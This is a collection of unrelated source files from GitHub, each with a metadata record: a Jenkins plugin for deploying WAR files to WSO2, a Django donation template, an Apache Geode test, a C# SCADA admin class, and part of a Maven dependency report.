package org.mh.jenkins.wso2.WSO2Deployment; import hudson.EnvVars; import hudson.Extension; import hudson.FilePath; import hudson.Launcher; import hudson.maven.MavenModule; import hudson.maven.MavenModuleSet; import hudson.maven.MavenModuleSetBuild; import hudson.model.BuildListener; import hudson.model.Result; import hudson.model.AbstractBuild; import hudson.model.AbstractProject; import hudson.tasks.BuildStepDescriptor; import hudson.tasks.BuildStepMonitor; import hudson.tasks.Publisher; import hudson.tasks.Recorder; import java.io.IOException; import java.io.InputStream; import java.util.Collection; import net.sf.json.JSONObject; import org.apache.commons.lang.StringUtils; import org.kohsuke.stapler.DataBoundConstructor; import org.kohsuke.stapler.StaplerRequest; /** * Deploy WAR files to a WSO2 Application Server via SOAP administration web service. * * @author mh * */ public class Wso2asPublisher extends Recorder { // job environment EnvVars env; // job params public String warSource; public String warTargetFileName; public boolean ignoreVersion; public String wso2asURL; public String wso2asAdminUser; public String wso2asAdminPwd; /** Constructor using fields */ @DataBoundConstructor public Wso2asPublisher( String warSource, boolean ignoreVersion, String warTargetFileName, String wso2asURL, String wso2asAdminUser, String wso2asAdminPwd ) { super(); this.warSource = warSource.trim(); this.ignoreVersion = ignoreVersion; this.warTargetFileName = warTargetFileName.trim(); this.wso2asURL = wso2asURL.trim(); this.wso2asAdminUser = wso2asAdminUser.trim(); this.wso2asAdminPwd = wso2asAdminPwd.trim(); } @Override public DescriptorImpl getDescriptor() { return (DescriptorImpl) super.getDescriptor(); } public BuildStepMonitor getRequiredMonitorService() { return BuildStepMonitor.NONE; } // -------------------------------------------------------------------------------------------- /** Check input params and tart the deployment */ @SuppressWarnings("rawtypes") @Override public boolean perform( AbstractBuild build, Launcher launcher, BuildListener listener ) throws InterruptedException, IOException { env = build.getEnvironment( listener ); // deployment only, if build is successfully if ( build.getResult().isWorseOrEqualTo( Result.FAILURE) ) { listener.getLogger().println( "[WSO2 Deployer] WSO2 AS WAR upload: STOP, due to worse build result!" ); return true; // nothing to do } listener.getLogger().println( "[WSO2 Deployer] WSO2 AS WAR upload initiated (baseDir="+build.getArtifactsDir().getPath()+")" ); try { // validate input and get variable values String xWarSource = checkParam( warSource, "AAR source", listener ); String xWarTargetFileName = checkParam( warTargetFileName, "AAR target file name", listener ); String xWso2asURL = checkParam( wso2asURL, "WSO2 Server URL", listener ); String xWso2asAdminUser = checkParam( wso2asAdminUser, "WSO2 admin user", listener ); String xWso2asAdminPwd = checkParam( wso2asAdminPwd, "WSO2 admin password", listener ); if ( ! xWso2asURL.endsWith("/") ) { xWso2asURL += "/"; } String version = artifactVersion( build, listener ); boolean result = true; FilePath[] warList = build.getWorkspace().list( xWarSource ); if ( warList.length == 0 ) { listener.error( "[WSO2 Deployer] No WAR file found for '"+xWarSource+"'" ); return false; } else if ( warList.length != 1 ) { listener.error( "[WSO2 Deployer] Multiple WAR files found for '"+xWarSource+"'" ); for ( FilePath warFile : warList ) { listener.getLogger().println( "WAR is n="+warFile.toURI() ); } return false; } else { for ( FilePath warFile : warList ) { listener.getLogger().println( "[WSO2 Deployer] WAR is = "+warFile.toURI() ); listener.getLogger().println( "[WSO2 Deployer] WAR size = " + warFile.length()); if ( ignoreVersion ) { listener.getLogger().println( "[WSO2 Deployer] WAR version = " + version + " (ignored by plugin config)" ); version = ""; } else { listener.getLogger().println( "[WSO2 Deployer] WAR version = " + version ); } InputStream fileIs = warFile.read(); Wso2AsDeployHelper deployer = new Wso2AsDeployHelper( xWso2asURL, xWso2asAdminUser, xWso2asAdminPwd, listener ); result = deployer.upload( fileIs, xWarTargetFileName, version ); } } return result; } catch ( Exception e ) { return false; } } // -------------------------------------------------------------------------------------------- /** Validate input and get variable values (if set) */ private String checkParam( String param, String logName, BuildListener listener ) throws Exception { String result = param; if ( StringUtils.isBlank( param ) ) { listener.error( "[WSO2 Deployer] "+logName+" must be set!" ); throw new Exception("param is blanc"); } else { if ( param.startsWith( "$" ) ) { String envVar = param.substring( 1 ); listener.getLogger().println( "[WSO2 Deployer] '"+logName+"' from env var: $"+envVar ); result = env.get( envVar ); if ( result == null ) { listener.error( "[WSO2 Deployer] $"+envVar+" is null (check parameter names and settings)" ); throw new Exception("var is null"); } } } return result; } /** helper to get the version of the artifact from pom definition */ @SuppressWarnings("rawtypes") private String artifactVersion( AbstractBuild build, BuildListener listener ) { String version = ""; if ( build instanceof MavenModuleSetBuild ) { try { MavenModuleSetBuild mavenBuild = (MavenModuleSetBuild) build; MavenModuleSet parent = mavenBuild.getParent(); Collection<MavenModule> modules = parent.getModules(); MavenModule module = modules.iterator().next(); version = module.getVersion(); listener.getLogger().println( "[WSO2 Deployer] "+warTargetFileName+" version: "+version ); } catch (Exception e) { // TODO Auto-generated catch block e.printStackTrace(); listener.getLogger().println( "[WSO2 Deployer] Waning: Version is not set" ); } } else { listener.getLogger().println( "[WSO2 Deployer] Waning: Version is not set" ); } return version; } // -------------------------------------------------------------------------------------------- @Extension // This indicates to Jenkins that this is an implementation of an extension point. public static final class DescriptorImpl extends BuildStepDescriptor<Publisher> { public DescriptorImpl() { super(Wso2asPublisher.class); load(); } public boolean isApplicable( Class<? extends AbstractProject> aClass ) { // Indicates that this builder can be used with all kinds of project types return true; } @Override public boolean configure( StaplerRequest req, JSONObject json ) throws FormException { req.bindJSON(this, json); save(); return true; } /** This human readable name is used in the configuration screen. */ public String getDisplayName() { return "Deploy WAR to WSO2 AS"; } } }
{ "content_hash": "e9a7c663d825c479d1c8a5862ee82c85", "timestamp": "", "source": "github", "line_count": 211, "max_line_length": 162, "avg_line_length": 36.279620853080566, "alnum_prop": 0.6348791639451339, "repo_name": "ma-ha/Jenkins-WSO2AS-Deployer", "id": "8dd900aa245175e77490294d132a5354b2b3db83", "size": "7655", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "src/main/java/org/mh/jenkins/wso2/WSO2Deployment/Wso2asPublisher.java", "mode": "33188", "license": "mit", "language": [ { "name": "Java", "bytes": "229177" } ], "symlink_target": "" }
{% extends "spanish_base.html" %} {% block content %} {% for post in donateabout %} {% if forloop.counter0|divisibleby:2 %} {% if forloop.first %} <div class="row"> {% if post.img %} <!-- if image 4, 8 col --> <div class="text-center titlebackground" style="background: linear-gradient( rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0.5) ), url({{ post.img.url }}) center 30% no-repeat;"> <div class="row"> <div class="col-md-12 text-center"> <h1 class="ethics-title text-center text-uppercase">{{ post.title }}</h1> {% if post.text %} <h4 class="white-text page-sub-title">{{ post.text | safe }}</h4> {% endif %} </div> </div> </div> {% else %} <div class="row"> <div class="col-md-12 text-center"> <h1 class="text-center no-img-title text-uppercase">{{ post.title }}</h1> {% if post.text %} <h4 class="page-sub-title">{{ post.text | safe }}</h4> {% endif %} </div> </div> {% endif %} <!-- end row one --> <!-- if it's not row one and divisible by 2 --> {% else %} <div class="row"> <div class="program-post"> {%if post.img %} <div class="col-md-4 col-md-push-8 childrens-class"> <img class="center-block img-responsive ethics-image" src="{{ post.img.url }}" alt="Generic placeholder image"> </div> <div class="col-md-8 col-md-pull-4 ">{% else %} <div class="col-md-12"> {% endif %} <div class="center-block program-text-right">{{ post.text | safe }}</div> {% if post.paypal_button %} {{ post.paypal_button|safe }} {% endif %} </div> </div> </div> {% endif %} {% else %} <div class="row"> <div class="program-post"> {%if post.img %} <div class="col-md-4"> <img class="center-block img-responsive ethics-image" src="{{ post.img.url }}" alt="Generic placeholder image"> </div> <div class="col-md-8">{% else %} <div class="col-md-12"> {% endif %} <div class="center-block program-text-right">{{ post.text | safe }}</div> {% if post.paypal_button %} {{ post.paypal_button|safe }} {% endif %} </div> </div> </div> {% endif %} <!-- end row 1 --> {% endfor %} {% for post in donate %} {% if forloop.first %} <div class="section-title" style="background-color:{{ post.color }}"> <div class="row"> {% if post.img %} <div class="col-md-4"> <img class="center-block img-responsive" src="{{ post.img.url }}"> </div> <div class="col-md-8"> {% else %} <div class="col-md-12"> {% endif %} <div class="volunteer-text"> <h1 class="white-text">{{ post.title }}</h1> <div class="white-text"> {{ post.text | safe }}</div> {% if post.paypal_button %} {{ post.paypal_button|safe }} {% endif %} </div> </div> </div> </div> {% else %} <div class="row"> <div class="col-md-12"> <div class="volunteer-text"> <p><strong>{{ post.title }}</strong></p> <p>{{ post.text | safe }}</p> {% if post.paypal_button %} {{ post.paypal_button|safe }} {% endif %} </div> </div> </div> {% endif %} {% endfor %} {% for post in club %} {% if forloop.first %} <div class="section-title" style="background-color:{{ post.color }}"> <div class="row"> {% if post.img %} <div class="col-md-4"> <img class="center-block img-responsive" src="{{ post.img.url }}"> </div> <div class="col-md-8"> {% else %} <div class="col-md-12"> {% endif %} <div class="volunteer-text"> <h1 class="white-text">{{ post.title }}</h1> <div class="white-text"> {{ post.text | safe }}</div> {% if post.paypal_button %} {{ post.paypal_button|safe }} {% endif %} </div> </div> </div> </div> {% else %} <div class="row"> <div class="col-md-12"> <div class="volunteer-text"> <p><strong>{{ post.title }}</strong></p> <p>{{ post.text | safe }}</p> {% if post.paypal_button %} {{ post.paypal_button|safe }} {% endif %} </div> </div> </div> {% endif %} {% endfor %} {% for post in paypal %} {% if forloop.first %} <div class="section-title" style="background-color:{{ post.color }}"> <div class="row"> {% if post.img %} <div class="col-md-4"> <img class="center-block img-responsive" src="{{ post.img.url }}"> </div> <div class="col-md-8"> {% else %} <div class="col-md-12">{% endif %} <div class="volunteer-text"> <h1 class="white-text">{{ post.title }}</h1> <div class="white-text"> {{ post.text | safe }}</div> {% if post.paypal_button %} {{ post.paypal_button|safe }} {% endif %} </div> </div> </div> </div> {% else %} <div class="row"> <div class="col-md-12"> <div class="volunteer-text"> <p><strong>{{ post.title }}</strong></p> <p>{{ post.text | safe }}</p> </div> </div> </div> {% endif %} {% endfor %} <form action="https://www.paypal.com/cgi-bin/webscr" method="post" target="_top" style="text-align: center;"> <input type="hidden" name="cmd" value="_s-xclick"> <input type="hidden" name="hosted_button_id" value="2Y9PLFW9V6YFU"> <input type="image" src="https://www.paypal.com/en_US/i/btn/btn_donateCC_LG.gif" border="0" name="submit" alt="PayPal - The safer, easier way to pay online!"> <img alt="" border="0" src="https://www.paypalobjects.com/en_US/i/scr/pixel.gif" width="1" height="1"> </form> {% endblock %}
{ "content_hash": "6ebaff10b94033d0c934724ebdbbc271", "timestamp": "", "source": "github", "line_count": 165, "max_line_length": 178, "avg_line_length": 37.04242424242424, "alnum_prop": 0.4849476439790576, "repo_name": "djangogirlscodecamp/lightandleadership", "id": "875cbe5bcac1959840ce05ea657408f06ca61b11", "size": "6112", "binary": false, "copies": "2", "ref": "refs/heads/master", "path": "spanish_content/templates/spanish_content/donate.html", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "CSS", "bytes": "12628" }, { "name": "HTML", "bytes": "73444" }, { "name": "Python", "bytes": "91484" } ], "symlink_target": "" }
/* * ClearGlobalDUnitTest.java * * Created on September 13, 2005, 1:47 PM */ package org.apache.geode.internal.cache; import static org.junit.Assert.fail; import java.util.Properties; import org.junit.Test; import org.apache.geode.cache.AttributesFactory; import org.apache.geode.cache.Cache; import org.apache.geode.cache.CacheFactory; import org.apache.geode.cache.Region; import org.apache.geode.cache.RegionAttributes; import org.apache.geode.cache.RegionEvent; import org.apache.geode.cache.Scope; import org.apache.geode.cache.TimeoutException; import org.apache.geode.distributed.DistributedSystem; import org.apache.geode.test.dunit.Host; import org.apache.geode.test.dunit.LogWriterUtils; import org.apache.geode.test.dunit.ThreadUtils; import org.apache.geode.test.dunit.VM; import org.apache.geode.test.dunit.internal.JUnit4DistributedTestCase; /** * For the Global region subsequent puts should be blocked until the clear operation is completely * done */ public class ClearGlobalDUnitTest extends JUnit4DistributedTestCase { static VM server1 = null; static Cache cache; static Properties props = new Properties(); static DistributedSystem ds = null; static Region region; static boolean testFailed = true; static StringBuffer exceptionMsg = new StringBuffer(); static boolean testComplete = false; static Object lock = new Object(); private static CacheObserver origObserver; /** name of the test region */ private static final String REGION_NAME = "ClearGlobalDUnitTest_Region"; @Override public final void postSetUp() throws Exception { Host host = Host.getHost(0); server1 = host.getVM(0); server1.invoke(() -> ClearGlobalDUnitTest.createCacheServer1()); createCacheServer2(); LogWriterUtils.getLogWriter().fine("Cache created in successfully"); } @Override public final void preTearDown() throws Exception { server1.invoke(() -> ClearGlobalDUnitTest.closeCache()); resetClearCallBack(); closeCache(); } public static void resetClearCallBack() { LocalRegion.ISSUE_CALLBACKS_TO_CACHE_OBSERVER = false; CacheObserverHolder.setInstance(origObserver); } public static void closeCache() { if (cache != null && !cache.isClosed()) { cache.close(); cache.getDistributedSystem().disconnect(); } } @Test public void testClearGlobalMultiVM() throws Exception { Object[] objArr = new Object[1]; for (int i = 1; i < 4; i++) { objArr[0] = "" + i; server1.invoke(ClearGlobalDUnitTest.class, "putMethod", objArr); } server1.invoke(() -> ClearGlobalDUnitTest.clearMethod()); checkTestResults(); }// end of test case public static void createCacheServer1() throws Exception { ds = (new ClearGlobalDUnitTest()).getSystem(props); cache = CacheFactory.create(ds); AttributesFactory factory = new AttributesFactory(); factory.setScope(Scope.GLOBAL); RegionAttributes attr = factory.create(); region = cache.createRegion(REGION_NAME, attr); } // end of create cache for VM0 public static void createCacheServer2() throws Exception { ds = (new ClearGlobalDUnitTest()).getSystem(props); CacheObserverImpl observer = new CacheObserverImpl(); origObserver = CacheObserverHolder.setInstance(observer); LocalRegion.ISSUE_CALLBACKS_TO_CACHE_OBSERVER = true; cache = CacheFactory.create(ds); AttributesFactory factory = new AttributesFactory(); factory.setScope(Scope.GLOBAL); RegionAttributes attr = factory.create(); region = cache.createRegion(REGION_NAME, attr); cache.setLockTimeout(3); } // end of create cache for VM1 public static void putMethod(Object ob) throws Exception { if (ob != null) { String str = "first"; region.put(ob, str); } } public static void clearMethod() throws Exception { region.clear(); } public static void checkTestResults() throws Exception { synchronized (lock) { while (!testComplete) { try { lock.wait(5000); } catch (InterruptedException ex) { fail("interrupted"); } } } if (testFailed) { throw new Exception("Test Failed: " + exceptionMsg); } else { LogWriterUtils.getLogWriter().info("Test Passed Successfully "); } } public static class CacheObserverImpl extends CacheObserverAdapter { @Override public void afterRegionClear(RegionEvent event) { Thread th = new PutThread(); th.start(); ThreadUtils.join(th, 5 * 60 * 1000); synchronized (lock) { testComplete = true; lock.notify(); } } }// end of CacheObserverImpl static class PutThread extends Thread { @Override public void run() { try { region.put("ClearGlobal", "PutThread"); exceptionMsg.append(" Put operation should wait for clear operation to complete "); } catch (TimeoutException ex) { // pass testFailed = false; LogWriterUtils.getLogWriter().info("Expected TimeoutException in thread "); } catch (Exception ex) { exceptionMsg.append(" Exception occurred while region.put(key,value)"); } } }// end of PutThread }// End of class
{ "content_hash": "b82a81015c481639e7af46385e23afba", "timestamp": "", "source": "github", "line_count": 184, "max_line_length": 98, "avg_line_length": 28.52173913043478, "alnum_prop": 0.6945503048780488, "repo_name": "davinash/geode", "id": "a889d3d52cf43a957a2efefdfab64cebd2e795c9", "size": "6037", "binary": false, "copies": "3", "ref": "refs/heads/develop", "path": "geode-core/src/distributedTest/java/org/apache/geode/internal/cache/ClearGlobalDUnitTest.java", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "CSS", "bytes": "106707" }, { "name": "Go", "bytes": "1205" }, { "name": "Groovy", "bytes": "2783" }, { "name": "HTML", "bytes": "3917327" }, { "name": "Java", "bytes": "28126965" }, { "name": "JavaScript", "bytes": "1781013" }, { "name": "Python", "bytes": "5014" }, { "name": "Ruby", "bytes": "6686" }, { "name": "Shell", "bytes": "46841" } ], "symlink_target": "" }
 using System; using System.IO; namespace Scada.Admin.Project { /// <summary> /// Represents the Server application. /// <para>Представляет приложение Сервер.</para> /// </summary> public class ServerApp : ScadaApp { /// <summary> /// Initializes a new instance of the class. /// </summary> public ServerApp() : base() { ClearSettings(); } /// <summary> /// Gets the settings of the application. /// </summary> public Server.Settings Settings { get; protected set; } /// <summary> /// Gets the full file name of the application settings. /// </summary> private string GetSettingsPath() { return Path.Combine(GetConfigDir(), Server.Settings.DefFileName); } /// <summary> /// Gets the directory of the application configuration. /// </summary> public string GetConfigDir() { return Path.Combine(AppDir, "Config"); } /// <summary> /// Loads the settings. /// </summary> public bool LoadSettings(out string errMsg) { return Settings.Load(GetSettingsPath(), out errMsg); } /// <summary> /// Saves the settings. /// </summary> public bool SaveSettings(out string errMsg) { return Settings.Save(GetSettingsPath(), out errMsg); } /// <summary> /// Creates project files required for the application. /// </summary> public override bool CreateAppFiles(out string errMsg) { try { Directory.CreateDirectory(GetConfigDir()); return SaveSettings(out errMsg); } catch (Exception ex) { errMsg = AdminPhrases.CreateServerFilesError + ": " + ex.Message; return false; } } /// <summary> /// Delete project files of the application. /// </summary> public override bool DeleteAppFiles(out string errMsg) { try { Directory.Delete(AppDir, true); errMsg = ""; return true; } catch (Exception ex) { errMsg = AdminPhrases.DeleteServerFilesError + ": " + ex.Message; return false; } } /// <summary> /// Clears the application settings. /// </summary> public override void ClearSettings() { Settings = new Server.Settings { CreateBakFile = false }; } /// <summary> /// Gets the directory of the application. /// </summary> public static string GetAppDir(string parentDir) { return Path.Combine(parentDir, "ScadaServer"); } } }
{ "content_hash": "f870cda13ce301220da73bb827ed6988", "timestamp": "", "source": "github", "line_count": 113, "max_line_length": 81, "avg_line_length": 26.530973451327434, "alnum_prop": 0.49933288859239494, "repo_name": "RapidScada/scada", "id": "2579258a4633b17e31bde222ffff834ff53ff510", "size": "3816", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "ScadaAdmin/ScadaAdmin5/ScadaAdminCommon/Project/ServerApp.cs", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "ASP.NET", "bytes": "64905" }, { "name": "Batchfile", "bytes": "899" }, { "name": "C#", "bytes": "5600219" }, { "name": "CSS", "bytes": "58334" }, { "name": "HTML", "bytes": "1025975" }, { "name": "JavaScript", "bytes": "469269" }, { "name": "Less", "bytes": "49955" }, { "name": "Shell", "bytes": "7120" }, { "name": "TSQL", "bytes": "7527" } ], "symlink_target": "" }
<!DOCTYPE html> <!-- | Generated by Apache Maven Doxia at 2014-04-11 | Rendered using Apache Maven Fluido Skin 1.3.1 --> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <meta name="Date-Revision-yyyymmdd" content="20140411" /> <meta http-equiv="Content-Language" content="en" /> <title>Play! 2.x Provider API - Reactor Dependency Convergence</title> <link rel="stylesheet" href="./css/apache-maven-fluido-1.3.1.min.css" /> <link rel="stylesheet" href="./css/site.css" /> <link rel="stylesheet" href="./css/print.css" media="print" /> <script type="text/javascript" src="./js/apache-maven-fluido-1.3.1.min.js"></script> <link rel="stylesheet" type="text/css" href="./css/site.css"/> </head> <body class="topBarDisabled"> <div class="container-fluid"> <div id="banner"> <div class="pull-left"> <div id="bannerLeft"> <h2>Play! 2.x Provider API</h2> </div> </div> <div class="pull-right"> </div> <div class="clear"><hr/></div> </div> <div id="breadcrumbs"> <ul class="breadcrumb"> <li id="publishDate">Last Published: 2014-04-11 <span class="divider">|</span> </li> <li id="projectVersion">Version: 1.0.0-alpha6 </li> </ul> </div> <div class="row-fluid"> <div id="leftColumn" class="span3"> <div class="well sidebar-nav"> <ul class="nav nav-list"> <li class="nav-header">Parent Project</li> <li> <a href="../index.html" title="Play! 2.x"> <i class="none"></i> Play! 2.x</a> </li> <li class="nav-header">Overview</li> <li> <a href="index.html" title="Introduction"> <i class="none"></i> Introduction</a> </li> <li> <a href="apidocs/index.html" title="JavaDocs"> <i class="none"></i> JavaDocs</a> </li> <li class="nav-header">Project Documentation</li> <li> <a href="project-info.html" title="Project Information"> <i class="icon-chevron-down"></i> Project Information</a> <ul class="nav nav-list"> <li> <a href="index.html" title="About"> <i class="none"></i> About</a> </li> <li> <a href="plugin-management.html" title="Plugin Management"> <i class="none"></i> Plugin Management</a> </li> <li> <a href="distribution-management.html" title="Distribution Management"> <i class="none"></i> Distribution Management</a> </li> <li> <a href="dependency-info.html" title="Dependency Information"> <i class="none"></i> Dependency Information</a> </li> <li class="active"> <a href="#"><i class="none"></i>Dependency Convergence</a> </li> <li> <a href="source-repository.html" title="Source Repository"> <i class="none"></i> Source Repository</a> </li> <li> <a href="mail-lists.html" title="Mailing Lists"> <i class="none"></i> Mailing Lists</a> </li> <li> <a href="issue-tracking.html" title="Issue Tracking"> <i class="none"></i> Issue Tracking</a> </li> <li> <a href="integration.html" title="Continuous Integration"> <i class="none"></i> Continuous Integration</a> </li> <li> <a href="plugins.html" title="Project Plugins"> <i class="none"></i> Project Plugins</a> </li> <li> <a href="license.html" title="Project License"> <i class="none"></i> Project License</a> </li> <li> <a href="team-list.html" title="Project Team"> <i class="none"></i> Project Team</a> </li> <li> <a href="project-summary.html" title="Project Summary"> <i class="none"></i> Project Summary</a> </li> <li> <a href="dependencies.html" title="Dependencies"> <i class="none"></i> Dependencies</a> </li> </ul> </li> <li> <a href="project-reports.html" title="Project Reports"> <i class="icon-chevron-right"></i> Project Reports</a> </li> </ul> <hr /> <div id="poweredBy"> <div class="clear"></div> <div class="clear"></div> <div class="clear"></div> <div class="clear"></div> <a href="http://maven.apache.org/" title="Built by Maven" class="poweredBy"> <img class="builtBy" alt="Built by Maven" src="./images/logos/maven-feather.png" /> </a> </div> </div> </div> <div id="bodyColumn" class="span9" > <div class="section"> <h2>Reactor Dependency Convergence<a name="Reactor_Dependency_Convergence"></a></h2> <table border="0" class="table table-striped"><caption> <b>Legend:</b> </caption> <tr class="a"> <td><img alt="success" src="images/icon_success_sml.gif" /></td> <td>All projects share one version of the dependency.</td></tr> <tr class="b"> <td><img alt="error" src="images/icon_error_sml.gif" /></td> <td>At least one project has a differing version of the dependency.</td></tr></table><br /> <table border="0" class="table table-striped"><caption> <b>Statistics:</b> </caption> <tr class="a"> <th>Number of sub-projects:</th> <td>6</td></tr> <tr class="b"> <th>Number of dependencies (NOD):</th> <td>25</td></tr> <tr class="a"> <th>Number of unique artifacts (NOA):</th> <td>28</td></tr> <tr class="b"> <th>Number of SNAPSHOT artifacts (NOS):</th> <td>0</td></tr> <tr class="a"> <th>Convergence (NOD/NOA):</th> <td><img alt="error" src="images/icon_error_sml.gif" />&#160;<b>89%</b></td></tr> <tr class="b"> <th>Ready for Release (100% Convergence and no SNAPSHOTS):</th> <td><img alt="error" src="images/icon_error_sml.gif" />&#160;<b>Error</b><br />You do not have 100% convergence.</td></tr></table></div> <div class="section"> <h3>Dependencies used in sub-projects<a name="Dependencies_used_in_sub-projects"></a></h3> <div class="section"> <h4>com.google.code.play2-maven-plugin:play2-provider-api<a name="com.google.code.play2-maven-plugin:play2-provider-api"></a></h4> <table border="0" class="table table-striped"> <tr class="a"> <td><img alt="success" src="images/icon_success_sml.gif" /></td> <td> <table border="0" class="table table-striped"> <tr class="b"> <td width="25%">1.0.0-alpha6</td> <td> <ol style="list-style-type: lower-alpha"> <li><a class="externalLink" href="https://play2-maven-plugin.googlecode.com/svn/mavensite/1.0.0-alpha6/play2-maven-plugin/">com.google.code.play2-maven-plugin:play2-maven-plugin</a></li> <li><a class="externalLink" href="https://play2-maven-plugin.googlecode.com/svn/mavensite/1.0.0-alpha6/play2-providers/play2-provider-play21/">com.google.code.play2-maven-plugin:play2-provider-play21</a></li> <li><a class="externalLink" href="https://play2-maven-plugin.googlecode.com/svn/mavensite/1.0.0-alpha6/play2-providers/play2-provider-play22/">com.google.code.play2-maven-plugin:play2-provider-play22</a></li> <li><a class="externalLink" href="https://play2-maven-plugin.googlecode.com/svn/mavensite/1.0.0-alpha6/play2-providers/">com.google.code.play2-maven-plugin:play2-providers</a></li></ol></td></tr></table></td></tr></table></div> <div class="section"> <h4>com.google.javascript:closure-compiler<a name="com.google.javascript:closure-compiler"></a></h4> <table border="0" class="table table-striped"> <tr class="a"> <td><img alt="error" src="images/icon_error_sml.gif" /></td> <td> <table border="0" class="table table-striped"> <tr class="b"> <td width="25%">rr2079.1</td> <td> <ol style="list-style-type: lower-alpha"> <li><a class="externalLink" href="https://play2-maven-plugin.googlecode.com/svn/mavensite/1.0.0-alpha6/play2-providers/play2-provider-play21/">com.google.code.play2-maven-plugin:play2-provider-play21</a></li></ol></td></tr> <tr class="a"> <td width="25%">v20130603</td> <td> <ol style="list-style-type: lower-alpha"> <li><a class="externalLink" href="https://play2-maven-plugin.googlecode.com/svn/mavensite/1.0.0-alpha6/play2-providers/play2-provider-play22/">com.google.code.play2-maven-plugin:play2-provider-play22</a></li></ol></td></tr></table></td></tr></table></div> <div class="section"> <h4>com.typesafe.play:routes-compiler_2.10<a name="com.typesafe.play:routes-compiler_2.10"></a></h4> <table border="0" class="table table-striped"> <tr class="b"> <td><img alt="success" src="images/icon_success_sml.gif" /></td> <td> <table border="0" class="table table-striped"> <tr class="a"> <td width="25%">2.2.2</td> <td> <ol style="list-style-type: lower-alpha"> <li><a class="externalLink" href="https://play2-maven-plugin.googlecode.com/svn/mavensite/1.0.0-alpha6/play2-providers/play2-provider-play22/">com.google.code.play2-maven-plugin:play2-provider-play22</a></li></ol></td></tr></table></td></tr></table></div> <div class="section"> <h4>com.typesafe.play:sbt-link<a name="com.typesafe.play:sbt-link"></a></h4> <table border="0" class="table table-striped"> <tr class="b"> <td><img alt="success" src="images/icon_success_sml.gif" /></td> <td> <table border="0" class="table table-striped"> <tr class="a"> <td width="25%">2.2.2</td> <td> <ol style="list-style-type: lower-alpha"> <li><a class="externalLink" href="https://play2-maven-plugin.googlecode.com/svn/mavensite/1.0.0-alpha6/play2-providers/play2-provider-play22/">com.google.code.play2-maven-plugin:play2-provider-play22</a></li></ol></td></tr></table></td></tr></table></div> <div class="section"> <h4>com.typesafe.play:templates-compiler_2.10<a name="com.typesafe.play:templates-compiler_2.10"></a></h4> <table border="0" class="table table-striped"> <tr class="b"> <td><img alt="success" src="images/icon_success_sml.gif" /></td> <td> <table border="0" class="table table-striped"> <tr class="a"> <td width="25%">2.2.2</td> <td> <ol style="list-style-type: lower-alpha"> <li><a class="externalLink" href="https://play2-maven-plugin.googlecode.com/svn/mavensite/1.0.0-alpha6/play2-providers/play2-provider-play22/">com.google.code.play2-maven-plugin:play2-provider-play22</a></li></ol></td></tr></table></td></tr></table></div> <div class="section"> <h4>com.typesafe.sbt:incremental-compiler<a name="com.typesafe.sbt:incremental-compiler"></a></h4> <table border="0" class="table table-striped"> <tr class="b"> <td><img alt="error" src="images/icon_error_sml.gif" /></td> <td> <table border="0" class="table table-striped"> <tr class="a"> <td width="25%">0.12.0</td> <td> <ol style="list-style-type: lower-alpha"> <li><a class="externalLink" href="https://play2-maven-plugin.googlecode.com/svn/mavensite/1.0.0-alpha6/play2-providers/play2-provider-play21/">com.google.code.play2-maven-plugin:play2-provider-play21</a></li></ol></td></tr> <tr class="b"> <td width="25%">0.13.0</td> <td> <ol style="list-style-type: lower-alpha"> <li><a class="externalLink" href="https://play2-maven-plugin.googlecode.com/svn/mavensite/1.0.0-alpha6/play2-providers/play2-provider-play22/">com.google.code.play2-maven-plugin:play2-provider-play22</a></li></ol></td></tr></table></td></tr></table></div> <div class="section"> <h4>com.typesafe:config<a name="com.typesafe:config"></a></h4> <table border="0" class="table table-striped"> <tr class="a"> <td><img alt="success" src="images/icon_success_sml.gif" /></td> <td> <table border="0" class="table table-striped"> <tr class="b"> <td width="25%">1.2.0</td> <td> <ol style="list-style-type: lower-alpha"> <li><a class="externalLink" href="https://play2-maven-plugin.googlecode.com/svn/mavensite/1.0.0-alpha6/play2-maven-plugin/">com.google.code.play2-maven-plugin:play2-maven-plugin</a></li></ol></td></tr></table></td></tr></table></div> <div class="section"> <h4>org.apache.ant:ant<a name="org.apache.ant:ant"></a></h4> <table border="0" class="table table-striped"> <tr class="a"> <td><img alt="success" src="images/icon_success_sml.gif" /></td> <td> <table border="0" class="table table-striped"> <tr class="b"> <td width="25%">1.9.0</td> <td> <ol style="list-style-type: lower-alpha"> <li><a class="externalLink" href="https://play2-maven-plugin.googlecode.com/svn/mavensite/1.0.0-alpha6/play2-maven-plugin/">com.google.code.play2-maven-plugin:play2-maven-plugin</a></li></ol></td></tr></table></td></tr></table></div> <div class="section"> <h4>org.apache.maven.plugin-tools:maven-plugin-annotations<a name="org.apache.maven.plugin-tools:maven-plugin-annotations"></a></h4> <table border="0" class="table table-striped"> <tr class="a"> <td><img alt="success" src="images/icon_success_sml.gif" /></td> <td> <table border="0" class="table table-striped"> <tr class="b"> <td width="25%">3.2</td> <td> <ol style="list-style-type: lower-alpha"> <li><a class="externalLink" href="https://play2-maven-plugin.googlecode.com/svn/mavensite/1.0.0-alpha6/play2-maven-plugin/">com.google.code.play2-maven-plugin:play2-maven-plugin</a></li></ol></td></tr></table></td></tr></table></div> <div class="section"> <h4>org.apache.maven.shared:maven-common-artifact-filters<a name="org.apache.maven.shared:maven-common-artifact-filters"></a></h4> <table border="0" class="table table-striped"> <tr class="a"> <td><img alt="success" src="images/icon_success_sml.gif" /></td> <td> <table border="0" class="table table-striped"> <tr class="b"> <td width="25%">1.4</td> <td> <ol style="list-style-type: lower-alpha"> <li><a class="externalLink" href="https://play2-maven-plugin.googlecode.com/svn/mavensite/1.0.0-alpha6/play2-maven-plugin/">com.google.code.play2-maven-plugin:play2-maven-plugin</a></li></ol></td></tr></table></td></tr></table></div> <div class="section"> <h4>org.apache.maven:maven-artifact<a name="org.apache.maven:maven-artifact"></a></h4> <table border="0" class="table table-striped"> <tr class="a"> <td><img alt="success" src="images/icon_success_sml.gif" /></td> <td> <table border="0" class="table table-striped"> <tr class="b"> <td width="25%">2.2.1</td> <td> <ol style="list-style-type: lower-alpha"> <li><a class="externalLink" 